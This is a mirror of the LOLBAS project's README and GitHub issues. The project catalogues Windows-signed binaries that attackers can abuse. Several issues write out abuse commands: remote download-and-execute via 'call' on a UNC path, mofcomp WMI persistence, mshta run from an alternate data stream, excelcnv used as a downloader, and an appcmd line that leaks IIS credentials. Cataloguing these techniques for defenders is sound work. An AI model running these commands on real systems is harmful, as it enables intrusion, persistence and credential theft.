Code Monkey home page Code Monkey logo

lolbas's Introduction

Living Off The Land Binaries and Scripts (and now also Libraries)

All the different files can be found behind a fancy frontend here: https://lolbas-project.github.io (thanks @ConsciousHacker for this bit of eyecandy and the team over at https://gtfobins.github.io/). This repo serves as a place where we maintain the YML files that are used by the fancy frontend.

Goal

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

Criteria

A LOLBin/Lib/Script must:

  • Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
  • Have extra "unexpected" functionality. It is not interesting to document intended use cases.
    • Exceptions are application whitelisting bypasses
  • Have functionality that would be useful to an APT or red team

Interesting functionality can include:

  • Executing code
    • Arbitrary code execution
    • Pass-through execution of other programs (unsigned) or scripts (via a LOLBin)
  • Compiling code
  • File operations
    • Downloading
    • Upload
    • Copy
  • Persistence
    • Pass-through persistence utilizing existing LOLBin
    • Persistence (e.g. hide data in ADS, execute at logon)
  • UAC bypass
  • Credential theft
  • Dumping process memory
  • Surveillance (e.g. keylogger, network trace)
  • Log evasion/modification
  • DLL side-loading/hijacking without being relocated elsewhere in the filesystem.

We do not approve binaries that allows for netntlm coercing, since most Windows binaries allows for that. Only exception is binaries that allows that on other than default ports (such as rpcping) or can allow direct credential theft.

Contributing

If you have found a new LOLBin or LOLScript that you would like to contribute, please review the contributing guidelines located here: https://github.com/LOLBAS-Project/LOLBAS/blob/master/CONTRIBUTING.md

A template for the required format has been provided here: https://github.com/LOLBAS-Project/LOLBAS/blob/master/YML-Template.yml

The History of the LOLBin

The phrase "Living off the land" was coined by Christopher Campbell (@obscuresec) & Matt Graeber (@mattifestation) at DerbyCon 3.

The term LOLBins came from a Twitter discussion on what to call binaries that can be used by an attacker to perform actions beyond their original purpose. Philip Goh (@MathCasualty) proposed LOLBins. A highly scientific internet poll ensued, and after a general consensus (69%) was reached, the name was made official. Jimmy (@bohops) followed up with LOLScripts. No poll was taken.

Common hashtags for these files are:

  • #LOLBin
  • #LOLBins
  • #LOLScript
  • #LOLScripts
  • #LOLLib
  • #LOLLibs

Our primary maintainer (@oddvarmoe) of this project did a talk at DerbyCon 2018 called: #Lolbins Nothing to LOL about! - https://www.youtube.com/watch?v=NiYTdmZ8GR4 This talk goes over the history of this project.

Maintainers

The following folks help maintain the LOLBAS Project on their personal time:

Thanks

As with many open-source projects, this one is the product of a community and we would like to thank ours:

  • The domain http://lolbins.com has been registered by an unknown individual and redirected it to the old version of this project.
  • The domain http://lolbas-project.com has been registered by Jimmy (@bohops).
  • The logos for the project were created by Adam Nadrowski (@_sup_mane). We #@&!!@#! love them.

Notice

  • Please refer to NOTICE.md for license information

lolbas's People

Contributors

akat12 avatar api0cradle avatar avihayeldad avatar bohops avatar c-h4ck-0 avatar conscioushacker avatar dtmsecurity avatar ekitji avatar elliotkillick avatar eral4m avatar felamos avatar frack113 avatar fslds avatar gtworek avatar jesgal avatar josehelps avatar jreegun avatar leesoh avatar lemonada avatar leo1-1 avatar luxnobulishit avatar maxnad avatar mertdas avatar mrd0x avatar sbruno avatar securepeacock avatar tabdiukov avatar whickey-r7 avatar wietze avatar xenoscr avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

lolbas's Issues

Index categories on portal

Currently the search only checks for binary names. It would be helpful to search the category name as well. If that's not possible, I would argue that category search is more useful than binary name.

mofcomp.exe

Please add mofcomp.exe (Compile, Execution)
Event Triggered Execution: Windows Management Instrumentation Event Subscription (T1546.003)
mofcomp.exe can be used to establish WMI Event Subscription persistence mechanisms configured from a .mof/.bmof file.

Example:
iisstt.dat
This BMOF-file contains malicious VBS-script

mofcomp.exe iisstt.dat
As a result, this script is injected in WMI repository and runs every day 23:00

Inaccurate privileges required

Regasm: "RegisterClass" requires local administrator, "UnRegisterClass" (regasm.exe /U) requires user level privileges.

https://lolbas-project.github.io/lolbas/Binaries/Regasm/

Regsvcs: "RegisterClass" requires local administrator, you cannot abuse Regsvcs with user level privileges as far as I know.

https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/

Mostly creating this issue to remind myself to fix this as we're being referenced by MITRE and other reputable organizations.

Consider excelnv.exe for addition

Source: https://twitter.com/Hexacorn/status/1396536863498907654

C:\Program Files*\Microsoft Office\root\Office*\excelcnv.exe accepts URL so you can use it as a downloader

excelcnv.exe -oice

caveat? your download will be saved as an XLSX and binary data will be stored encoded with UTF8 inside xl\sharedStrings.xml

Also from https://gist.github.com/AhnSeongHyun/3372088:

Word:
"C:\Program Files\Microsoft Office\Office12\wordconv.exe" -oice -nme

Excel:
"C:\Program Files\Microsoft Office\Office12\excelcnv.exe" -oice

PowerPoint:
"C:\Program Files\Microsoft Office\Office12\ppcnvcom.exe" -oice

์˜ˆ) PPCNVCOM.EXE -oice C:\b.ppt C:\b.pptx

Note that it appears to do preprocessing, so the payload may need to be base64 encoded to ensure it's not modified

Simulation for LOL Binaries

How we can perform whole attacks simulation by using lol bins ??
I have tried many of lolbins topics still now nothing is with the use of LOLBINS
Do you have any link that can show us any Simulation so that I will perform it and understand the LOLBINS working.

List of binary names

I want to scrape just the list of binary names (eg 'schtasks.exe'). I can either scrape the list on the site or parse thru all the yml files. Is there a consolidated list that would make it easier? Thanks!

call

call is used to "call one batch program from another", but has some interesting properties when combined with UNC paths.

It can be used to send hashes to a Responder listener, much like you would do with net.exe, because it authenticates with SMB (like all UNC paths)

More importantly, it also functions as a convenient download and execute for .bat, .js., .exe, etc. hosted on remote systems.

call \\192.168.1.28\share\test4.exe
call \\192.168.1.28\share\test2.js

I didn't see anything else in the repo source or other issues about call. Searching the wider Internet is a little difficult as the generic name makes it hard to search for. I have 0 idea if it can be used for whitelist bypasses etc.

split commands into command, argument structure

split commands into command, argument structure, and example. i.e. Command: cmstp.exe; ArgStructure: /ini /s <inf_file>; Example: cmstp.exe /ini /s c:\cmstp\CorpVPN.inf [ ] Provide the project in DB format (sqlite)

wuauclt.exe

please add wuauclt.exe exec and download. ๐Ÿ˜

Mshta ADS Execution

Was testing this out today, but wasn't able to get mshta to cooperate. If I inject an HTA into an ADS for some file "C:\ADS\file.txt"

type bad.hta > C:\ADS\file.txt:bad.hta

and try to execute with

mshta.exe "C:\ADS\file.txt:bad.hta"

I get a big white window, which I believe is an indication that mshta can't find the HTA. I'm currently testing on Version 1903. Do we know if mshta can still read from an ADS? Or am I missing something crucial?

Add guid field

Add a guid field on every yaml file, making sure every one has a unique identifier.
Can use new-guid in powershell for instance...

Secure Connection Failed

https://lolbas-project.github.io/ is generating the following error when I try to access the url via Firefox 84.0.2

Secure Connection Failed
An error occurred during a connection to lolbas-project.github.io. SSL received a record that exceeded the maximum permissible length.
Error code: SSL_ERROR_RX_RECORD_TOO_LONG

The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.
Please contact the website owners to inform them of this problem.

Search on Mitre

Ability to search on the Mitre Txxx tecniques on the main page.

Inventory notification

Your tool/software has been inventoried on Rawsec's CyberSecurity Inventory.

https://inventory.rawsec.ml/resources.html#LOLBAS

What is Rawsec's CyberSecurity Inventory?

An inventory of tools and resources about CyberSecurity. This inventory aims to help people to find everything related to CyberSecurity.

  • Open source: Every information is available and up to date. If an information is missing or deprecated, you are invited to (help us).
  • Practical: Content is categorized and table formatted, allowing to search, browse, sort and filter.
  • Fast: Using static and client side technologies resulting in fast browsing.
  • Rich tables: search, sort, browse, filter, clear
  • Fancy informational popups
  • Badges / Shields
  • Static API
  • Twitter bot

More details about features here.

Note: the inventory is a FLOSS (Free, Libre and Open-Source Software) project.

Why?

  • Specialized websites: Some websites are referencing tools but additional information is not available or browsable. Make additional searches take time.
  • Curated lists: Curated lists are not very exhaustive, up to date or browsable and are very topic related.
  • Search engines: Search engines sometimes does find nothing, some tools or resources are too unknown or non-referenced. These is where crowdsourcing is better than robots.

Why should you care about being inventoried?

Mainly because this is giving visibility to your tool, more and more people are using the Rawsec's CyberSecurity Inventory, this helps them find what they need.

Badges

The badge shows to your community that your are inventoried. This also shows you care about your project and want it growing, that your tool is not an abandonware.

Feel free to claim your badge here: http://inventory.rawsec.ml/features.html#badges, it looks like that Rawsec's CyberSecurity Inventory, but there are several styles available.

Want to thank us?

If you want to thank us, you can help make the project better known by tweeting about it! For example: Twitter URL

So what?

That's all, this message is just to notify you if you care.

Atbroker.exe incorrect regkey

The Detection section of the Atbroker page is incorrect.

It says:

Detection:
Changes to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\Configuration
Changes to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs
Unknown AT starting C:\Windows\System32\ATBroker.exe /start malware

This line is incorrect:

Changes to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs

Correct:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs

As per the linked resources:

With Windows 8 Microsoft introduced a way to register third-party Assistive Technology applications on the system. All of them are stored inside the Registry under the following branch:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs

Question: LOLBAS YAML Property of MITRE Technique ID Aligned to V6 or newer Matrix Versions

Hello

Will this awesome project be updating soon the technique ID field to distinguish if it is mapped to V6 (legacy) or V7 (current) of the ATT&CK Enterprise matrix?

I was looking at your repo for MpCmdRun, and I noticed one of the cited techniques is T1105


You can see below the tool I am using allows for querying both the enterprise-legacy and current version of the enterprise matrix.

I just wanted to integrate your project into the tool I am using and need to know how to reliably afford myself and everyone using my tool an accurate representation of which version of the matrix a technique cited in your repo for the LOLBAS is intended for.

Happy to help too :)


A46FC4D5-C3FD-4B02-AED4-BCA7A1F5DD82


71F1408D-121E-4F55-B843-DEECABBBFDA5

Automation between LOLBAS and LOLBAS web portal

When a new file is created or an existing is changed in the LOLBAS YML folder there should be some kind of automation that copies this files over to the other repo so that changes are reflected in the web portal.

msdt.exe issues

Hi,

I'm trying to reproduce msdt.exe execution but I'm unable to :\

First issue was with the xml file, on my pc only the UTF-8 is accepted, the utf-16 doesn't, working version below:

<?xml version="1.0" encoding="UTF-8"?>
<Answers Version="1.0">
	<Interaction ID="IT_LaunchMethod">
		<Value>ContextMenu</Value>
	</Interaction>
	<Interaction ID="IT_SelectProgram">
		<Value>NotListed</Value>
	</Interaction>
	<Interaction ID="IT_BrowseForFile">
		<Value>C:\poc.exe</Value>
	</Interaction>
</Answers>

Even after changing the xml the executable is not run automatically but requires additional user interaction, is it the correct behavior?

I'm running windows 10.0.18363 Build 18363

Thanks and keep rocking!

Threat Intel

Add links to reports showing usage in the wild

IIS App Pool Identity exploit

%windir%\system32\inetsrv\appcmd list apppool /config /xml > c:\apppools.xml

Can leak app pool identity credentials, if allowed to run appcmd and IIS has apppools configured as SpecificUser

example of the output:

Not sure if this would be a fit for this project.

Privileges required

Add information about the privileges required.
For instance, does it require admin access or not.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.